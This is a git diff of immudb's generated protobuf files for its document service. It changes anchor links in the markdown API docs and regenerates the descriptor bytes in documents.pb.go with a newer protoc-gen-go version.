-215,7 +215,7 @@ - + ### CollectionDeleteRequest @@ -230,7 +230,7 @@ - + ### CollectionDeleteResponse @@ -240,7 +240,7 @@ - + ### CollectionGetRequest @@ -255,7 +255,7 @@ - + ### CollectionGetResponse @@ -263,14 +263,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| collection | [Collection](#immudb.model.Collection) | | | +| collection | [Collection](#immudb-model-Collection) | | | - + ### CollectionListRequest @@ -280,7 +280,7 @@ - + ### CollectionListResponse @@ -288,14 +288,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| collections | [Collection](#immudb.model.Collection) | repeated | | +| collections | [Collection](#immudb-model-Collection) | repeated | | - + ### CollectionUpdateRequest @@ -311,7 +311,7 @@ - + ### CollectionUpdateResponse @@ -321,7 +321,7 @@ - + ### DocumentAtRevision @@ -331,14 +331,14 @@ | ----- | ---- | ----- | ----------- | | transactionId | [uint64](#uint64) | | | | revision | [uint64](#uint64) | | | -| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | +| document | [google.protobuf.Struct](#google-protobuf-Struct) | | | - + ### DocumentAuditRequest @@ -357,7 +357,7 @@ - + ### DocumentAuditResponse @@ -365,14 +365,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| revisions | [DocumentAtRevision](#immudb.model.DocumentAtRevision) | repeated | | +| revisions | [DocumentAtRevision](#immudb-model-DocumentAtRevision) | repeated | | - + ### DocumentDeleteRequest @@ -381,14 +381,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collection | [string](#string) | | | -| query | [Query](#immudb.model.Query) | | | +| query | [Query](#immudb-model-Query) | | | - + ### DocumentDeleteResponse @@ -398,7 +398,7 @@ - + ### DocumentInsertManyRequest @@ -407,14 +407,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collection | [string](#string) | | | -| documents | [google.protobuf.Struct](#google.protobuf.Struct) | repeated | | +| documents | [google.protobuf.Struct](#google-protobuf-Struct) | repeated | | - + ### DocumentInsertManyResponse @@ -430,7 +430,7 @@ - + ### DocumentInsertRequest @@ -439,14 +439,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collection | [string](#string) | | | -| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | +| document | [google.protobuf.Struct](#google-protobuf-Struct) | | | - + ### DocumentInsertResponse @@ -462,7 +462,7 @@ - + ### DocumentProofRequest @@ -480,7 +480,7 @@ - + ### DocumentProofResponse @@ -492,14 +492,14 @@ | collectionId | [uint32](#uint32) | | | | idFieldName | [string](#string) | | | | encodedDocument | [bytes](#bytes) | | | -| verifiableTx | [immudb.schema.VerifiableTxV2](#immudb.schema.VerifiableTxV2) | | | +| verifiableTx | [immudb.schema.VerifiableTxV2](#immudb-schema-VerifiableTxV2) | | | - + ### DocumentSearchRequest @@ -509,7 +509,7 @@ | ----- | ---- | ----- | ----------- | | searchID | [string](#string) | | | | collection | [string](#string) | | | -| query | [Query](#immudb.model.Query) | | | +| query | [Query](#immudb-model-Query) | | | | desc | [bool](#bool) | | | | page | [uint32](#uint32) | | | | perPage | [uint32](#uint32) | | | @@ -519,7 +519,7 @@ - + ### DocumentSearchResponse @@ -528,14 +528,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | searchID | [string](#string) | | | -| revisions | [DocumentAtRevision](#immudb.model.DocumentAtRevision) | repeated | | +| revisions | [DocumentAtRevision](#immudb-model-DocumentAtRevision) | repeated | | - + ### DocumentUpdateRequest @@ -544,15 +544,15 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collection | [string](#string) | | | -| query | [Query](#immudb.model.Query) | | | -| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | +| query | [Query](#immudb-model-Query) | | | +| document | [google.protobuf.Struct](#google-protobuf-Struct) | | | - + ### DocumentUpdateResponse @@ -569,7 +569,7 @@ - + ### Field @@ -578,14 +578,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | name | [string](#string) | | | -| type | [FieldType](#immudb.model.FieldType) | | | +| type | [FieldType](#immudb-model-FieldType) | | | - + ### FieldComparison @@ -594,15 +594,15 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | field | [string](#string) | | | -| operator | [ComparisonOperator](#immudb.model.ComparisonOperator) | | | -| value | [google.protobuf.Value](#google.protobuf.Value) | | | +| operator | [ComparisonOperator](#immudb-model-ComparisonOperator) | | | +| value | [google.protobuf.Value](#google-protobuf-Value) | | | - + ### Index @@ -618,7 +618,7 @@ - + ### IndexCreateRequest @@ -635,7 +635,7 @@ - + ### IndexCreateResponse @@ -645,7 +645,7 @@ - + ### IndexDeleteRequest @@ -661,7 +661,7 @@ - + ### IndexDeleteResponse @@ -671,7 +671,7 @@ - + ### Query @@ -679,14 +679,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| expressions | [QueryExpression](#immudb.model.QueryExpression) | repeated | | +| expressions | [QueryExpression](#immudb-model-QueryExpression) | repeated | | - + ### QueryExpression @@ -694,7 +694,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| fieldComparisons | [FieldComparison](#immudb.model.FieldComparison) | repeated | | +| fieldComparisons | [FieldComparison](#immudb-model-FieldComparison) | repeated | | @@ -703,7 +703,7 @@ - + ### ComparisonOperator @@ -720,7 +720,7 @@ - + ### FieldType @@ -738,27 +738,27 @@ - + ### DocumentService | Method Name | Request Type | Response Type | Description | | ----------- | ------------ | ------------- | ------------| -| CollectionCreate | [CollectionCreateRequest](#immudb.model.CollectionCreateRequest) | [CollectionCreateResponse](#immudb.model.CollectionCreateResponse) | | -| CollectionGet | [CollectionGetRequest](#immudb.model.CollectionGetRequest) | [CollectionGetResponse](#immudb.model.CollectionGetResponse) | | -| CollectionList | [CollectionListRequest](#immudb.model.CollectionListRequest) | [CollectionListResponse](#immudb.model.CollectionListResponse) | | -| CollectionDelete | [CollectionDeleteRequest](#immudb.model.CollectionDeleteRequest) | [CollectionDeleteResponse](#immudb.model.CollectionDeleteResponse) | | -| CollectionUpdate | [CollectionUpdateRequest](#immudb.model.CollectionUpdateRequest) | [CollectionUpdateResponse](#immudb.model.CollectionUpdateResponse) | | -| IndexCreate | [IndexCreateRequest](#immudb.model.IndexCreateRequest) | [IndexCreateResponse](#immudb.model.IndexCreateResponse) | | -| IndexDelete | [IndexDeleteRequest](#immudb.model.IndexDeleteRequest) | [IndexDeleteResponse](#immudb.model.IndexDeleteResponse) | | -| DocumentInsert | [DocumentInsertRequest](#immudb.model.DocumentInsertRequest) | [DocumentInsertResponse](#immudb.model.DocumentInsertResponse) | | -| DocumentInsertMany | [DocumentInsertManyRequest](#immudb.model.DocumentInsertManyRequest) | [DocumentInsertManyResponse](#immudb.model.DocumentInsertManyResponse) | | -| DocumentUpdate | [DocumentUpdateRequest](#immudb.model.DocumentUpdateRequest) | [DocumentUpdateResponse](#immudb.model.DocumentUpdateResponse) | | -| DocumentSearch | [DocumentSearchRequest](#immudb.model.DocumentSearchRequest) | [DocumentSearchResponse](#immudb.model.DocumentSearchResponse) | | -| DocumentAudit | [DocumentAuditRequest](#immudb.model.DocumentAuditRequest) | [DocumentAuditResponse](#immudb.model.DocumentAuditResponse) | | -| DocumentProof | [DocumentProofRequest](#immudb.model.DocumentProofRequest) | [DocumentProofResponse](#immudb.model.DocumentProofResponse) | | -| DocumentDelete | [DocumentDeleteRequest](#immudb.model.DocumentDeleteRequest) | [DocumentDeleteResponse](#immudb.model.DocumentDeleteResponse) | | +| CollectionCreate | [CollectionCreateRequest](#immudb-model-CollectionCreateRequest) | [CollectionCreateResponse](#immudb-model-CollectionCreateResponse) | | +| CollectionGet | [CollectionGetRequest](#immudb-model-CollectionGetRequest) | [CollectionGetResponse](#immudb-model-CollectionGetResponse) | | +| CollectionList | [CollectionListRequest](#immudb-model-CollectionListRequest) | [CollectionListResponse](#immudb-model-CollectionListResponse) | | +| CollectionDelete | [CollectionDeleteRequest](#immudb-model-CollectionDeleteRequest) | [CollectionDeleteResponse](#immudb-model-CollectionDeleteResponse) | | +| CollectionUpdate | [CollectionUpdateRequest](#immudb-model-CollectionUpdateRequest) | [CollectionUpdateResponse](#immudb-model-CollectionUpdateResponse) | | +| IndexCreate | [IndexCreateRequest](#immudb-model-IndexCreateRequest) | [IndexCreateResponse](#immudb-model-IndexCreateResponse) | | +| IndexDelete | [IndexDeleteRequest](#immudb-model-IndexDeleteRequest) | [IndexDeleteResponse](#immudb-model-IndexDeleteResponse) | | +| DocumentInsert | [DocumentInsertRequest](#immudb-model-DocumentInsertRequest) | [DocumentInsertResponse](#immudb-model-DocumentInsertResponse) | | +| DocumentInsertMany | [DocumentInsertManyRequest](#immudb-model-DocumentInsertManyRequest) | [DocumentInsertManyResponse](#immudb-model-DocumentInsertManyResponse) | | +| DocumentUpdate | [DocumentUpdateRequest](#immudb-model-DocumentUpdateRequest) | [DocumentUpdateResponse](#immudb-model-DocumentUpdateResponse) | | +| DocumentSearch | [DocumentSearchRequest](#immudb-model-DocumentSearchRequest) | [DocumentSearchResponse](#immudb-model-DocumentSearchResponse) | | +| DocumentAudit | [DocumentAuditRequest](#immudb-model-DocumentAuditRequest) | [DocumentAuditResponse](#immudb-model-DocumentAuditResponse) | | +| DocumentProof | [DocumentProofRequest](#immudb-model-DocumentProofRequest) | [DocumentProofResponse](#immudb-model-DocumentProofResponse) | | +| DocumentDelete | [DocumentDeleteRequest](#immudb-model-DocumentDeleteRequest) | [DocumentDeleteResponse](#immudb-model-DocumentDeleteResponse) | | diff --git a/pkg/api/protomodel/documents.pb.go b/pkg/api/protomodel/documents.pb.go index 21e399f48e..1c3daa7ec0 100644 --- a/pkg/api/protomodel/documents.pb.go +++ b/pkg/api/protomodel/documents.pb.go @@ -15,7 +15,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.28.1 +// protoc-gen-go v1.30.0 // protoc v3.21.12 // source: documents.proto @@ -2312,133 +2312,133 @@ var file_documents_proto_rawDesc = []byte{ 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, - 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x12, 0x82, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x3a, 0x01, 0x2a, 0x1a, 0x13, + 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x12, 0x82, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, + 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x89, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, + 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x12, 0x89, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, - 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, - 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x3a, 0x01, + 0x2a, 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, + 0x6c, 0x69, 0x73, 0x74, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x91, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x91, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, - 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, - 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x7a, 0x0a, 0x0b, 0x49, 0x6e, 0x64, + 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x92, 0x41, 0x0d, 0x0a, 0x0b, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x18, 0x3a, 0x01, 0x2a, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x7a, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x43, - 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x26, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x1a, 0x0f, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x2f, - 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x09, 0x0a, 0x07, 0x69, 0x6e, - 0x64, 0x65, 0x78, 0x65, 0x73, 0x12, 0x7a, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x26, 0x92, + 0x41, 0x09, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x14, 0x3a, 0x01, 0x2a, 0x1a, 0x0f, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x2f, 0x63, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x7a, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x14, 0x1a, 0x0f, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x09, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, - 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, + 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x26, 0x92, 0x41, 0x09, 0x0a, 0x07, + 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x3a, 0x01, 0x2a, + 0x1a, 0x0f, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, - 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x97, 0x01, 0x0a, 0x12, + 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x3a, 0x01, 0x2a, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x97, 0x01, 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x12, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x28, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x1a, 0x15, 0x2f, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, - 0x6d, 0x61, 0x6e, 0x79, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x3a, 0x01, 0x2a, 0x1a, 0x15, + 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, + 0x74, 0x6d, 0x61, 0x6e, 0x79, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 